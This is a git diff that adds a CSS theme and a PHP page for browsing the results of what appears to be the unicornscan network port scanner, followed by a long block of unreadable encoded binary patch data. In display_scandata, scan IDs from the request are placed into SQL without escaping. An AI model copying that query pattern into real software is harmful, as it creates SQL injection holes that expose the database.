+a:link { + color: #CCCCCC; + text-decoration: none; +} + +a:visited { + color: #AAAAAA; + text-decoration: none; +} + +a:hover { + text-decoration: none; + color: #FFFFFF; +} + +.tmenu { + background: #222222; + text-decoration: underline; + font-weight: 900; +} + +.tableclass { + color: #dfdfdf; + background: #656565; + margin: 0; + border-spacing: 0; +} + +.subtableclass { + color: #fdfdfd; + background: #404040; + border-spacing: 5px; +} + +.tblrow2 { + background: #201515; +} + +.tblrow1 { + background: #302525; +} + +.tblhdr { + color: #DDDDDD; + background: #600000; + font-weight: bold; +} + +.formtoggle1 { + background: #201515; +} + +.formtoggle2 { + background: #302525; +} + +.formtitle { + color: #dddddd; + background: #600000; + text-align: center; + font-weight: bold; +} + +.formsubmit, .formreset { + background: #303030; + color: #dddddd; + border: 0; +} + +.form { + border: 0; +} + +.formselect, .forminput, .formtextarea, .formbutton, .formpassword, .formfile, .formcheckbox { + background: #101010; + color: #dddddd; + border: 0; +} + +.formerror, .formerrormsg { + background: #ffffff; +} + +.messagebox { + color: #cc0000; + background: #000000; + border: 1; +} + +.scanstbl { + color: #dddddd; + background: #cc0000; + border: 2; +} diff --git a/www-front-end/display.php b/www-front-end/display.php new file mode 100644 index 0000000..399ec72 --- /dev/null +++ b/www-front-end/display.php @@ -0,0 +1,1205 @@ +aquerydb($query); + if ($db->numrows == 1) { + $db->data_step(); + $tmask=$db->resultarr[0]; + } + else { + $tmask="32"; + } + + if ($tmask == "32") { + $append=""; + } + else { + $append="/".$tmask; + } + + if (strlen($tgtstr) < 1) { + $tgtstr=$target.$append; + } + else { + $tgtstr .= ", ".$target.$append; + } + } + + if ($rowtgl == 0) { + $class="tblrow1"; + $rowtgl=1; + } + else { + $class="tblrow2"; + $rowtgl=0; + } + + $ret=<< + +EOF; + if ($doform) { + $ret .=<< +EOF; + } + else { + $ret .=<< + + $stime + + + $est_e_time + + + $etime + + + $num_hosts + + + $num_packets + + + $type $pps + + + $tgtstr + + + +EOF; + + return $ret; + } + + function display_scan($scanarr) { + global $PHPLIB, $db; + + $stime=strftime($PHPLIB["time_format"], $scanarr["s_time"]); + $etime=strftime($PHPLIB["time_format"], $scanarr["e_time"]); + $senders=(int )$scanarr["senders"]; + $listeners=(int )$scanarr["listeners"]; + $iterations=(int )$scanarr["scan_iter"]; + $profile=htmlspecialchars($scanarr["profile"]); + $options=options_tostr($scanarr["options"]); + $sopts=sendopts_tostr($scanarr["send_opts"]); + $lopts=recvopts_tostr($scanarr["recv_opts"]); + $payload_group=(int )$scanarr["payload_group"]; + $dronestr=htmlspecialchars($scanarr["dronestr"]); + if (!(strlen($dronestr))) { + $dronestr="none"; + } + $covt=(int )$scanarr["covertness"]; + $modules=$scanarr["modules"]; + $num_hosts=$scanarr["num_hosts"]; + $num_packets=$scanarr["num_packets"]; + + print << + + + Start: $stime End: $etime + + + $senders Senders $listeners Listeners Scan Iterations $iterations + + + Profile $profile covertness $covt modules $modules + + + + + Master $options Sender $sopts Listener $lopts + + + Payload Group $payload_group Drones $dronestr + + + Hosts $num_hosts Packets $num_packets + + +EOF; + + for ($j1=0; $j1 < count($scanarr["sworkunits"]); $j1++) { + $cur=$scanarr["sworkunits"][$j1]; + + $type=sworkunit_magictostr($cur["magic"]); + $repeats=(int )$cur["repeats"]; + $pps=(int )$cur["pps"]; + $delay_type=delay_tostr($cur["delay_type"]); + $myaddr=htmlspecialchars($cur["myaddr"]); + + $query="select masklen('".$cur["mymask"]."') as mymask"; + $db->aquerydb($query); + $db->data_step(); + if ($db->resultarr[0] != "32") { + $myaddr .= "/".$db->resultarr[0]; + } + + $mtu=(int )$cur["mtu"]; + $target=htmlspecialchars($cur["target"]); + $query="select masklen('".$cur["targetmask"]."') as tgtmask"; + $db->aquerydb($query); + $db->data_step(); + if ($db->resultarr[0] != "32") { + $target .= "/".$db->resultarr[0]; + } + + $tcpflags=tcpflags_tostr($cur["tcpflags"]); + $tos=(int )$cur["tos"]; + $ttllow=(int )$cur["minttl"]; + $ttlhigh=(int )$cur["maxttl"]; + + print << + + Type $type Repeats $repeats PPS $pps delay $delay_type + + + Myaddr $myaddr Target $target mtu $mtu + + + TcpFlags $tcpflags tos $tos TTL $ttllow-$ttlhigh + + +EOF; + } /* send workunits */ + + for ($j1=0; $j1 < count($scanarr["lworkunits"]); $j1++) { + $cur=$scanarr["lworkunits"][$j1]; + + $recv_timeout=(int )$cur["recv_timeout"]; + $ret_layers=(int )$cur["ret_layers"]; + $pcap_str=htmlspecialchars($cur["pcap_str"]); + + print << + + Recv Timeout $recv_timeout Return Layers $ret_layers + + + Pcap Filter $pcap_str + + +EOF; + } /* listen workunits */ + + print << +EOF; + + } + + function display_scandata($scanid = -1) { + global $db, $PHPLIB, $cookieupdate; + $scansel=""; + + $filt=""; + + if (is_array($scanid)) { + print "Displaying Scan(s) "; + + $filt .= "&_scansel=".implode(",", $scanid); + + for ($j=0; $j < count($scanid); $j++) { + print (int )$scanid[$j]." "; + if (strlen($scansel) < 1) { + $scansel=(int )$scanid[$j]; + } + else { + $scansel .= ",".(int )$scanid[$j]; + } + + if (strlen($where) > 0) { + $where .= " or scans_id=".$scanid[$j]; + } + else { + $where = " (scans_id=".$scanid[$j]; + } + } + if (strlen($where)) { + $where .= ")"; + } + print "\n"; + + } + else { + $where=" true "; + print " Displaying All Scans\n"; + } + + $f=new formclass(); + $f->new_title("Scan Data"); + $f->new_row(); + + $sel=""; + $f->new_desc("scans"); + if (strlen($scansel) > 0) { + $f->set_default("_scansel", $scansel); + } + $f->new_input("text", "_scansel", "int,0,100", array("input_size"=>"50")); + $f->new_row(); + + $rproto=get_var("_proto"); + $f->new_desc("protocol"); + if ($rproto == false) { + $f->set_default("_proto", ""); + } + $f->new_input("select", "_proto", "1:ICMP,6:TCP,17:UDP,"); + $f->new_desc("time"); + $f->new_input("text", "_tstamp", "string,0,100"); + $f->new_row(); + + $f->new_desc("type"); + $f->new_input("text", "_type", "string,0,100", array("input_size"=>"50")); + $f->new_row(); + + $f->new_desc("local port"); + $f->new_input("text", "_dport", "string,0,100"); + $f->new_desc("remote port"); + $f->new_input("text", "_sport", "string,0,100"); + $f->new_row(); + + $f->new_desc("send_addr"); + $f->new_input("text", "_send_addr", "string,0,100"); + $f->new_desc("host_addr"); + $f->new_input("text", "_host_addr", "string,0,100"); + $f->new_row(); + + $f->new_desc("trace_addr"); + $f->new_input("text", "_trace_addr", "string,0,100"); + $f->new_desc("ttl"); + $f->new_input("text", "_ttl", "string,0,100"); + $f->new_row(); + + $f->new_desc("flags"); + $f->new_input("text", "_flags", "string,0,100"); + $f->new_desc("window_size"); + $f->new_input("text", "_window_size", "string,0,100"); + $f->new_row(); + + $rsb=get_var("_sortby"); + + if ($rsb == false) { + $f->set_default("_sortby", "9"); + $sb=9; + } + else { + $f->set_default("_sortby", (int )$rsb); + $sb=(int )$rsb; + } + + $f->new_desc("sort by"); + $f->new_input("select", "_sortby", "0:scans_id,1:proto,2:sport:3:dport,4:type,6:host_addr,7:trace_addr,8:ttl,9:tstamp,10:tseq,11:window_size,12:t_tstamp"); + $f->new_row(); + + $rorder=get_var("_order"); + if ($rorder == false) { + $f->set_default("_order", "1"); + $rorder=1; + } + $f->new_desc("order"); + $f->new_input("select", "_order", "2:asc,1:desc"); + + $rlimit=get_var("_limit"); + if ($rlimit == false) { + $f->set_default("_limit", "30"); + } + $f->new_desc("limit"); + $f->new_input("text", "_limit", "int,0,10"); + $f->new_row(); + + $f->new_desc("banner"); + $f->new_input("text", "_banner", "string,0,1000"); + $f->new_row(); + + $f->new_desc("os"); + $f->new_input("text", "_os", "string,0,1000"); + $f->new_row(); + + $f->add_hidden("action", "viewdata"); + + $query="select * from uni_ipreport "; + + if ($rproto != false) { + + $filt .= "&_proto=".(int )$rproto; + $where .= " and proto=".(int )$rproto; + } + + $rtype=get_var("_type"); + + if ($rtype != false) { + + $filt .= "&_type=".urlencode($rtype); + $where .= getsql_resptype($rtype); + } + + if ($rlimit != false) { + + $filt .= "&_limit=".(int )$rlimit; + $limit=(int )$rlimit; + } + else { + $limit=30; + } + + $roffset=get_var("_offset"); + + if ($roffset != false) { + $offset=(int )$roffset; + } + else { + $offset=0; + } + + $rbanner=get_var("_banner"); + if ($rbanner != false) { + + $filt .= "&_banner=".urlencode($rbanner); + $where .= " and ipreport_id in (select ipreport_id from uni_ipreportdata where type=1 and data ~ '".$db->_escape_string($rbanner)."')"; + } + + $ros=get_var("_os"); + if ($ros != false) { + + $filt .= "&_os=".urlencode($ros); + $where .= " and ipreport_id in (select ipreport_id from uni_ipreportdata where type=2 and data ~ '".$db->_escape_string($ros)."')"; + } + + $rtstamp=get_var("_tstamp"); + if ($rtstamp != false) { + + $filt .= "&_tstamp=".urlencode($rtstamp); + $where .= getsql_time($rtstamp, "tstamp"); + } + + $rhost_addr=get_var("_host_addr"); + if ($rhost_addr != false) { + + $filt .= "&_host_addr=".urlencode($rhost_addr); + $where .= getsql_inet($rhost_addr, "host_addr"); + + } + + $rtrace_addr=get_var("_trace_addr"); + if ($rtrace_addr != false) { + + $filt .= "&_trace_addr=".urlencode($rtrace_addr); + $where .= getsql_inet($rtrace_addr, "trace_addr"); + } + + $rsend_addr=get_var("_send_addr"); + if ($rsend_addr != false) { + + $filt .= "&_send_addr=".urlencode($rsend_addr); + $where .= getsql_inet($rsend_addr, "send_addr"); + } + + $rttl=get_var("_ttl"); + if ($rttl != false) { + + $filt .= "&_ttl=".urlencode($rttl); + $where .= getsql_numeric($rttl, "ttl"); + } + + $rwindow_size=get_var("_window_size"); + if ($rwindow_size != false) { + + $filt .= "&_window_size=".urlencode($rwindow_size); + $where .= getsql_numeric($rwindow_size, "window_size"); + } + + $rsport=get_var("_sport"); + if ($rsport != false) { + + $filt .= "&_sport=".urlencode($rsport); + $where .= getsql_numeric($rsport, "sport"); + } + + $rdport=get_var("_dport"); + if ($rdport != false) { + + $filt .= "&_dport=".urlencode($rdport); + $where .= getsql_numeric($rdport, "dport"); + } + + switch ($sb) { + case 0: + $order_by="scans_id"; + break; + case 1: + $order_by="proto"; + break; + case 2: + $order_by="sport"; + break; + case 3: + $order_by="dport"; + break; + case 4: + $order_by="type"; + break; + case 6: + $order_by="host_addr"; + break; + case 7: + $order_by="trace_addr"; + break; + case 8: + $order_by="ttl"; + break; + case 9: + $order_by="tstamp, utstamp"; + break; + case 10: + $order_by="tseq"; + break; + case 11: + $order_by="window_size"; + break; + case 12: + $order_by="t_tstamp"; + break; + default: + $order_by="tstamp"; + break; + } + + if ($rorder == 2) { + $query .= " where ".$where." order by ".$order_by." asc limit ".$limit." offset ".$offset; + $oorder="&_order=1"; + } + else { + $query .= " where ".$where." order by ".$order_by." desc limit ".$limit." offset ".$offset; + $oorder="&_order=2"; + } + + $f->add_hidden("searchdb", "1"); + $f->print_form(); + + $rsearchdb=get_var("searchdb"); + if ($rsearchdb != false) { + print "
    Search Query `".htmlspecialchars($query)."'
    \n"; + $filt .= "&searchdb=1"; + $db->aquerydb($query); + $nr=$db->numrows; + } + else { + $nr=0; + } + + + $t=new tableclass(); + $t->set_width("96%"); + + $link="
    scanid".$elink; + } + else { + $_1=$link."&_sortby=0\"> scanid".$elink; + } + + if ($sb == 2) { + $_2=$link."&_sortby=2".$oorder."\"> port". $elink; + } + else { + $_2=$link."&_sortby=2\"> port". $elink; + } + + if ($sb == 4) { + $_3=$link."&_sortby=4".$oorder."\"> type". $elink; + } + else { + $_3=$link."&_sortby=4\"> type". $elink; + } + + if ($sb == 6) { + $_4=$link."&_sortby=6".$oorder."\"> host". $elink; + } + else { + $_4=$link."&_sortby=6\"> host". $elink; + } + + if ($sb == 7) { + $_5=$link."&_sortby=7".$oorder."\"> trace". $elink; + } + else { + $_5=$link."&_sortby=7\"> trace". $elink; + } + + if ($sb == 8) { + $_6=$link."&_sortby=8".$oorder."\"> ttl". $elink; + } + else { + $_6=$link."&_sortby=8\"> ttl". $elink; + } + + if ($sb == 9) { + $_7=$link."&_sortby=9".$oorder."\"> tstamp". $elink; + } + else { + $_7=$link."&_sortby=9\"> tstamp". $elink; + } + + if ($sb == 10) { + $_8=$link."&_sortby=10".$oorder."\"> seq". $elink; + } + else { + $_8=$link."&_sortby=10\"> seq". $elink; + } + + if ($sb == 11) { + $_9=$link."&_sortby=11".$oorder."\"> win". $elink; + } + else { + $_9=$link."&_sortby=11\"> win". $elink; + } + + $t->add_header("View", + $_1, + $_2, + $_3, + $_4, + $_5, + $_6, + $_7, + $_8, + $_9, + "banner", + "os" + ); + + for ($j=0; $j < $nr; $j++) { + $db->data_step(); + $ret[$j]=$db->resultarr; + } + + for ($j=0; $j < $nr; $j++) { + + $ipreportid=$ret[$j]["ipreport_id"]; + + $query="select data, type from uni_ipreportdata where ipreport_id=".$ipreportid; + + $banner=""; + $os=""; + + $db->aquerydb($query); + for ($j1=0; $j1 < $db->numrows; $j1++) { + $db->data_step(); + if ($db->resultarr[1] == "1") { + $banner=htmlspecialchars($db->resultarr[0]); + } + else if ($db->resultarr[1] == "2") { + $os=htmlspecialchars($db->resultarr[0]); + } + } + + $query="select ipreport_id from uni_ippackets where ipreport_id=".$ret[$j]["ipreport_id"]; + $db->aquerydb($query); + + if ($db->numrows == 1) { + $link="Pkt ". + "Del"; + } + else { + $link=" "; + } + if (strcmp($ret[$j]["host_addr"], $ret[$j]["trace_addr"]) == 0) { + $taddr="..."; + } + else { + $taddr=$ret[$j]["trace_addr"]; + } + + $ha=""; + $hb=""; + + $t->add_row( + $link, + (int )$ret[$j]["scans_id"], + (int )$ret[$j]["sport"], + type_tostr($ret[$j]["type"], $ret[$j]["subtype"], $ret[$j]["proto"]), + $ha.htmlspecialchars($ret[$j]["host_addr"]).$hb, + htmlspecialchars($taddr), + (int )$ret[$j]["ttl"], + strftime($PHPLIB["time_format"], (int )$ret[$j]["tstamp"]), + sprintf("0x%08x", $ret[$j]["tseq"]), + (int )$ret[$j]["window_size"], + $banner, + $os + ); + } + + print "

  • j_WkZSnn;f&M*WIKaHTiNdb~TzbDcH1~0awI!_2Q}cU&B%XfL0(QyIt-UL}dv?kj8`5*rhR_muA6esxq#^I$ie%N) zsm;&+clQbYjyqE2sgYcv0vw7lLvp!5?Ozn1m*Wd+zpA+y?HG#x z6;rh(m6e&u;`)?gTC~z6mR|X%P|H2my5+I0tkqSeqI?>u<&IJ2NMHAZv54k3P{IZ63niI<057aE_Gp9%N>`i};PJzXnAZxzOdT|@d_|V!BRaR1M$T4&#>HQsWLT3BO4mGS@AWs30M$G zM2-vj#^a(d3W*u)avf@7ZX5JWKf})Zm2xrNBcsuzeo7rw0YU+B_qu>X=(PRdldJ!G z3-gHG7i#rrGSDa^5*GJNdah)KpD#?HQnUNr3NGEg5jRuSIkGkYbQ>sU^Jc$ewFgE1 zW1&)5hgA~24=&S*G*X%+A-RVH?bmKFs@5{|wkSH4W@33UBd(#5n@3~HuPEg|XFH6V zcv|+|h;L|fl|q!t>idoO73^eP#DaioM6NCShSC`SX%Ii^_z*o>QmyK2==_intpn(@ z{X=`nJ%T9r6IQ1tYmwAd3iIWquDn|+p1Nd9-(@{>QdIsvW#)UX&Vm@QtKIk2`h2OC zx^rm%e3?}!j}#u~;@+}SU%K~C&iuZD(!Qax1tsq20Rj2Za(Gi}Dza-5lRXqm7}bM5 zA_8_iVUTbP8T-%T5Jaqj&x^L_i_|=9*dsE{k@=&3lO?ov9gQ+iUNLob)eFHN ztjSo{-yvBWIW^m1+Kt;{Ujb77Q`(aL6D|5(Gd89v<&z0dWs6F%=emRZUT zj@}OaGwghDOJfA7tU}428EW7VouW-4aX?FBgXl1wE*D$d%kzdmls=RJq^y1(WR3gt zd*BwV)g}o`+&8ASuK`E*m~8%!lZxVl9u!yd=b?yTE4y%0v)`cnm_NmtYq!PuqQExi z8VOGJ2Jes?Xo|y}pex|)EdE&|}&{Ie2g|U?_ z+fyK>%n-xYBA@lM-s&{k$Uo;Pkit2alEL=*;ixoxOm;J=Wn49BEHAs2)pcwC+CTB@ zZd6^qV{Oby5E(SVus%!I;CE>6re{)Ckv&V!&LD-PYGqC5jdgDD>;1CJ4$}&AUM6mB zl>Z4T1e3b(H$uKc0-evT3i%m3@}X_F{C5Ej_GdZY#r_PF%Xz>U7sBbbVEdUe4XhELFc8y=J6L>biWve5S$-kSlW!=}ivK=i>G!!LCWLW)Ao7g|w-gEw~S zr)$($K>U=?C$1KJqh4NX)tK+&zQfd|AhLl%0D95FRgQQ>kOOio;L|K^t}QUf8WD|2 zDBZds&A7$F!1;O|8c0ew___UN{AodIgdtr@0t_tlDh+ zXC|$&_?w(RE$n^GqJ=05V9P2W^w>4y2>*uD_(pA3Mr)TXOyim9x6G`~?u?aR(o zPwq=}Q4jei{qpR76Z$8(x46x>IejOyejGFm9I+rZg;^+^K5-!W^%`o)y$reqIemM@ zfTbR~?iMGJ1JR!@%7G_KnRo|<)ixUzd)0b2;3Z52xZo z!LsJPNX^;rmP6r6eN%S7M+R|lWi3q27jC0E(r)A2Ud~b7u9hu%&}!}fHzOoAZZ~4H zKcH6Um&)Jc>+pAH$1>lB|J(A@Vx(Hc3aFl_>YP-Peg~l5c!{rGjUF-gP9Tiji(8i# z$rl&wSXg2S!Sc&%yLh4<)U!LR;w&(!K%$QD1A9cfXgL6rfDq$PK;Hld)eR#C%$MGt z?3aj!!nQS$QVx4}o{mC#z<5K!O&Y*B$|A1wLm5fHNvr`E3)g1HgW++rVonl8nE{h+ zX|leJbpQIK@iWLH4%D6}S9nh#0BuC3Lqm_v*`ylA%#nANSi(KUB*ON!g!r3 z2OYutH^l*P8aG{mrs76_2QMc-o~?D8yq7CycypII;7QvM@W%g8`HK=MnyDQT3iSdM zces^tLSrEq&ZxIYPYFi=;^=}BFXX}W7+i{?qmE2Nn2ZHBw$*n!<^*C}#_^7}@-Yx0 zwJapIcxOAopZ7uH%Y0jd7XfJw;kKeodji=KfBPnAcWbYth#FLRqyORXg8;9LdIGvq z*|o|H7)qByA|urmHpw1nlKS$RmGUdo7VLEHP()Ur&w4!89pZ2BU*qE5;`60<7qjhO z$ro5Zf7O3K?cF*44~RbtOoX{w`uP*3$z(7B<8_ZQHFOXLlZ*4DKi`9Fk6pGX9+L9O z@Y>55YMkT9SLp7@twFZGe2KnNn!yu$6c3byaUi2-+d%{j%Y3wZPywmg&yiXQ36|fa z48fqI5U{A68%_*4$~PQN@C=y2q#6Mzx4CJ^pX2cC1@X&2+y9oAcf;tXiWkn0-oMfdHLxBvQn}HHZb3P| zoWl72c~@`0HvS@58Zqm?FJ3*2QB>L`)vA!uMzrc$rIvbR!ZMPu$$mi0WOvjAa);ms zKnLN4JP$R0RbEB&4`aqfNy7*e9~p3yCk3L=B3r770{DE^)TZguKffP{Kq&q~f;~u) z)JCy69x|Ch7Gi0JI;JvHQZ(kz-!}3-(Jz{c&4=zSZb&0VW}YUb{?gcdiC&Rk(_`!}!rhI&3Ns4yPXrntB-6B_dK@l=@`h2)73Y0{$1Vf2N=^j)JWU`y@KEh^blCQt7T*i|Wsh?(PHtgX`Sj^7+^Op>+0#xy2hn-ZOv+i5E1|T%#8m zC81EHESArqehAs0+REYj@niR`h=l3FNwxlcyC7rp^xl1<7@~F%83hIHUnXe$i{N7% zfMSpkAuXXR)Yo`7m&^c5sh(dZxtW55o;4C64ASh*Gx?UvF4E@P{J*Gfmmp4(t_m*s z2A_hY1B)t#dqqEei$fV0l`X&FXzCQGKEX7Zu<6&T9=;9`IjaSz$bv6J!f1AgpS##G z!Jrm5YDl=wtRXdPxh#WN*`IBw3b1a!y@9iX-KQ*l6%o(+k`{Bj?(&=T+$+xw5(=bDbnh5HmhW8DdcC z;TtBuL4A#nF$r=+&{mVP%^xHW3}qkdG5)eAshHG!TmJ3vWiK#f7Jk|60DI2)6Eab= z(kHUJ8(@C{+6`MHUb=r``uwi^iVFdhx4eY;bHo}Jk;68{9JPs;k|uAd*~UuB z6o+FC`R7V;a!^2}kX+L508VfAuw3H$>NFy+8}{ECk|q_V3wd#M(b97=3(r1fkQ%Hm zL@O!hLco(mFk&iu<;gxPH{{s{ub&rw(wjB4%x=}*Otp71xO4SSm*D1Ngc=G+`~1_a z!gh|^Mp7UL>WXJ`w>uMkts{uM#yVnQ(}KN=3fXHe(k^AOfj0 z1nFRxA`N($2EyjO10CYH=n=P4UuTd8z@$Kon^UOCiv6HKBL>kCy_yE83SlF%WfC(X zcp{eb9CVy!!$n}{Q72CqWzB#}d|UJ!+7QjHQ@n#oE^3wJDd3pOvZD@MV*0yQjw!Pc z-sw>i5w!Ixk;Fviu?U^H!OCM2akl5$@~=BQC1p(OD^|1Q1Ryo&1!*PLxvcEG2G%p< zHCr&Crq4Km^KGYvJZ*-CqpmDm6_ZRvmS|-_E+ztFPdQ;pO3m03T~cNR51TqQ{oB^&J7DZVY1 z8?|}b>e(G#y5{r`nIJQ>{NRpM?7%$^+|L>&5H1|$TK#o1B@PHN2{P-It`haADp4dB zEfIBQr*?DDt9%&Q%TP>S$SCmHK_EVYXhRHWElAF2#G61^?+oYMy+QoaEp^|5)Nu>~I zBugdG_mAggk7U|92h6zuEt&+yt+_B|BRR0)&fL$t*Gl2qs`P=3)*F=zhYdL+%!N+k8%n`gDNq1vSuB> zimR_)B{O1uvs<&sHY4hxt%(F&dW1AJxsB%Y8?`)AeW@)fGF#KpLA3LP!&`-!-sr?Q z*61{krip%4a*QO%GnZ<5Mx*X)4mFg25ST6`sWQIA1>{XqzW{Dt{y^i35&&CP2S;A0 zp%9Ph-oF=N@6-7px}NWg8P-T9W$fNq*M9b+GHZE+@^N+!rp7V?!pKOQhKw!*joHk@ z=HP}ggihiK45897$+cWoo(94N=k8Vg+yLbF z$&8iV-4KCh#@sSfdU@S!cS4II6QmpGh20sbODHZ;t?2z2;Y^6k=2GKVYIbKh2W#Pq z?y_eAL(SN!MR{Cwm}aHSl-G5(&C-7*On5_aLKic>GX445lT#ill|PEuEWHXMAm$)pVm##gUj6;}idGxXH8zu-WdWtTtwF zN%}R5fNxm`HdD@tNPW!u6|gSaKt3Ql&EBCA@1|G`hQo?88kOieHNgjZf#m=N?zHd==HrW? zua;XpF9Bpiuymcm3bKsJ<}}X4MqdO`iZumGL%mO6aYHJ8xI+bpuiVCvhNiBL9!hdM zFa?W0(zR}dQ%a|aFdoYv5m|REh_;-A3Ab`iHhkG{j{ckUVPpP&kj~4xM==ogen`CQ zgrL;c{aV0{ZM9m?MW;vk5k`Yz^_mMu?z=7!s-+q|Ek#);F>JF--4s4Wt(1yLy9_Nw zL4TkG)+?>J7_bw}R$corUTjR{%YiS`)&R*!JKBtD%@a7<*;%i^xhiyqb1Aq+KLh6B zYk?jV9(j1b*3-3J=j(rIYfsV@SW1j2FCH7tK6-7BTsq|#WQ`?wWYebeXW{x_?FYqA zq8%G(Up?}rZgrFI{g{Mml-%u$RhJDX)zKb)TEA&AE!lJ ze4m)hnw5RUPPTj)Ni$bQ=1j8o$|tnGyLNfA!q9_b&cglBknNk9Y-m3x3MH<4wE5)7 zgxZn)53n~HI)KREV(Auu7UmuiHIRBPz+-ZpL{pxiI(;!9BRAwh_(Y~JbLaA%=nct| zR!d0XO~o$x7KP{fOHbGtd$-N8s};v_INxn_-z5l5K6ynUDB`VrXhmKiv-KC;+a|+Z z_EBs*<6<#=(|A3_D;DRLas*KaK=kr!_USW^(cpdIix%qrQ%JeBsDW|~;NF%aaS?EhJ`LfXS_7}UTm&?jc=!@fmxFcW`xf>Qlq*#;um4PXTqhI&!e_K@n zS4>*vx@-c>qVm)ju6z8N)H(*1k^(gN=noEejFqZA^&O<3g~es^Z4j4`79POrMTP)P zfbP-&@SEmC#P&c9^X;%xM?4~`Is*<9lp|X+;-lAoBd%zz72BLOe0niaztA?u}Mr?xkv@GOfL%PxrAlT?w#LZzUS?E zmaM`0oGi8A)y~`Xx$H1opUP@=_cjHC1tFbDN>SME?l~#q!!5u3OnJ#c{V`nO4RC0e z!<+fYNnAA@vre&&UC+!wah#UzTMM@)Mm`%|qzsGFS#|}p*?jL0DUPGGU^8#PYzk2f zNp_%nYa%_?9K1U6VgziU39WS7FyoM5FpH8sH!MwCHd%u~c0eh2m-#?fepaQ}2~%BU zNs6E&O_I(k(y<_Y>OYAVO}65I-(eQDgSn!t*F;!bqbN=A)#=p;FPS0KgY67IFa^I&(zd6EretdCqgZn5fDQES&S+y?VTh)odw@PiS z*Zw`u8LbKuFd)z){q`1wJ!1Gza=rOpxCB?2RDA)+znFU48E#4FK*d%e#!^cj5cyYx zPxweriNQ+?7vO@N>0_!9fA`dP8++yzE6IMV=ex@;YTOGFHtRZjI2CywESoR2QtcmbqYoTbwFJ60PV!K6d+62 zw{zXS3$sv=Jh4`54w&H89H01?Bh1Z_O`ggq+Q(Wt! z)8`NY;_xN8T}T^D5xvBaS*Iozf#jSB%TV`w5%zw~_drbM9=JlxhZTNu4nkW5mLp+J z!BA6^>vJxs#WtT;XmSi2THV)*VQnFC86ZB=qD{~&N3##tojTbhDkR$wBL-$rq>u6X zZ}Y|QJC|A6F(^wq341eJ`7c#siUjlA5z6#FI0U zEDv7pYLq@H0-g|ox_j-U&dc+`iJO`_{6<^y2`1v-Y~R(5vg6)V0s5%k6j)FjIktIE z{<2J-dmAbi4E%EwZ;LQmFiFy49-bb`daaS-pt{UbMgvyE9aBr)U(TDGz7r|aL|@O; zSp)~yqNYB{{Y67Sg#rAI0If$lvme4UM!2002&Ha9tr${-tiJd_l%K8(_nP~Zfw|iu zhDhPlZ9#8Po4s%SZi1=gjk%uUe-m$4vwctrnJ-mhl7R@(qRrex09j!pl4}ND83f&B zZf?EwTGF2&&S&=W3;Kv)CgZ`F9j@qG^{8$HAK+hlve$Xsa|zhvE)Y-x;Dj}T=|;nfk@3FTyMZ?aRyuj$8zYUdjSW8K0l1!sF=Hs@E<`2D;3?I zT_OTZE$us^Cbd7CEr{Pa5!xBsKWBqe#_s6g>ed3BCNh+#tf!nqfcSX)mbIs_Z>42Z zavBeR;?ySuk=jwqO*3c#Oa75Rptg@&9ZPUFgqU(0lm4UFh3>jtkAChgr^w_n1~$Gf zQ?i_f<-|uao*jCYpbJ%Ev1s6Jc}+#iECzG?2>Jp6C#x7BZz^CovBT&&^_axeTwE@O zxjE#FJy6`SkQ(uw#xZA#_-9k$@{1M$T{11vl<0~iQ(q# zMEwi#s)n3vVLkP*f@x+(@jX#%LYEx&3%V60V!oK20IxN%rqgQxDG)92N9P2$mw)*A@L+%s98o&D6+uSL2X# zay}0;jsqbK=88lo?Pr-mAt;ExPXdM~PPYiQLpH!SpM*m~ETd^-6S2`rW+OL>6C^~H zZ0kFJAnLR3>Co1IM8KRfSn_3}J16S*D9#v8{MjOQ;3_(hgF2TJ1Jr!EZ zxBCuivdD3CF__EWRR%`B+N@FkhrN6360BR$H66CC4BJ+QZQHhO+qP{Z!?vvq+qOF1 zUDZ0LMs@cX=TndU1J?Jo)|}6EZ;1>>(vD24h*KGcPpb_Nc8lHyeVSMoO@1Y)3D#yD$1Fo>Zrg6`Vy4V{=mlf^ib9=`ZLBFH9Lc%+SAOivc9QfQ7X`?8 zhx(3z^rAQ^+8+lKl{E!b@y9aA)pTEDbGU(@Jw_68CS-oL96|Gb(i}oNV1d})#cFWI z=};IhvE7a@M}u($m0?f`XORzG6BFeQi;ilvc6?6$bkN6pff=%3`Z{Oo9pD17X>ykR zGbV5}Bap;_HYjtFkjVs*4+kx^$PH!`Qhb^Q$3O(+VoD=^xiNfQ#-)usr)A9%8c9Qu zKfI`E@o$7XEgYQHtfe`Zho;x`R`*6{sL}c;OcPofkyIog|CV7X-Owl4`06DflJ4gP*=W5tRhX7y0@?I)3eN(DoSG=5x?8|l$3jsxslaNX1v8uTRn3Wip_V{qBg zx!|?4r@Fo*4PB{j2SB?IpBSrNaA<+LGGx-)9s^q$Gh9|2@bBA0K0HFCb_7ogKRXPx ze|8wK-hb+Eajnb{F%&8LdIHG2=~|eYO%6LvUAz@-@7!jc5C=j_Jf~BrcSWJ)^{;3q z+Ez)ldxwD)OZ>LSV)qbJ-c${=ihR%#K+~`9)g)*H>!B^%GoaXH9__FZ$ zeI~bm$WCK(t$aweE5)NpCLF(N?k5>e0x7t^%`$!vN?RrfbDfDn^K2JMW6R~C8m_pd z7-riEg2W+EZA*BXzTI=s-+H2_ucYeNs?(M4yY|kkwKJv{s#A$V{EP&+@bR@+{-L1I zGfTjej(a9f2xKGUZ>6Nc-K#M2w%6%!$H80Cr;)`eExW)^@C^ zn*f-h1Xz<+bYf7KzXvTKlQ*mqAk0 z=%B!5QM##8jmEOcvShU<+l0u6!$%6z1I(==?V?sFNrNgo96>WgKrnWS#SMyW&(~~p zG0l>5l(CrwnP@n4Qf`#kF~&(#dfzuEynM^?wGBcfqR%?%Sa2|XaaD}#%B^1jb!Lx3 z-R>*9BoSSmJ zaitOcI}uRLF*+~lVfA$RY%wd8_7MY;lh8bkT7nUD%skf1Y9269Oio%|uN8hhR5l0a zI=e}>1rP6{IU8z2QGb5z9y(bQtoWoX>;jxr3kkft3V79Eksy_#%UF`WXU|z>&J&Qv zDYQs!WT3ZCTtCBKq%pqeR5+Q`<^{9a(3|ZXX~YGd~`s$Ovk9 zt+X8Rms8k9RWS>$GkrOt_maOyT9KRB`cnS)I-cdpp8tK30)GYyxXJ#{{ahI3dM*y~ zNH~BG1k_d?aOC$lKjGmE-QeG*nE~Q_U^05|Yx`W6_BrR)2%cUfG?S`Skge=NWu_y% z1kXauQ^BHeEWft#C`q5z#5(c%egAOSeV<94VO$}_a!_r~bZ9%goyv@0jNt)<5v4}9 zG2VA8DV^~`x9`U#Fn^-NaiW3s5uPV)>~GKe#7eCB#|>hM1$8vd?yVV-LU(;*16~v2 